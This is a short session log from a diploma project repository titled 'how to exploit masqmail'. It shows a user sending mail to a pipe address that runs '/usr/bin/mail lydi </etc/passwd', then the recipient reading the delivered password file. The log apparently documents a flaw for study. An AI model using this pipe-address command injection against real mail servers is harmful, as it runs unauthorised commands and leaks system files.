docs/diploma
view hardcopies/bin-mail-attack.txt @ 198:402db7e2ecc4
how to exploit masqmail :-(
| author | meillo@marmaro.de |
|---|---|
| date | Wed, 31 Dec 2008 14:04:35 +0100 |
| parents | |
| children |
line source
1 test$ mail '|/usr/bin/mail lydi </etc/passwd'
2 Subject: the password file
3 hey hey jippee, here's your present :-)
4 .
5 Cc:
6 test$
11 lydi$ mail
12 Mail version 8.1.2 01/15/2001. Type ? for help.
13 "/var/mail/lydi": 1 message 1 new
14 >N 1 test@dream Wed Dec 31 11:12 46/1910
15 &
16 Message 1:
17 From <test@dream> Wed Dec 31 11:12:45 2008
18 Envelope-to: <lydi@dream>
19 To: lydi
20 From: <test@dream>
21 Date: Wed, 31 Dec 2008 11:12:45 +0100
23 root:x:0:0:root:/root:/bin/bash
24 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
25 bin:x:2:2:bin:/bin:/bin/sh
26 sys:x:3:3:sys:/dev:/bin/sh
27 .
28 .
29 .
30 test:x:1001:1002:test,,,:/home/test:/bin/bash
31 lydi:x:1002:1003:lydi,,,:/home/lydi:/bin/bash
33 &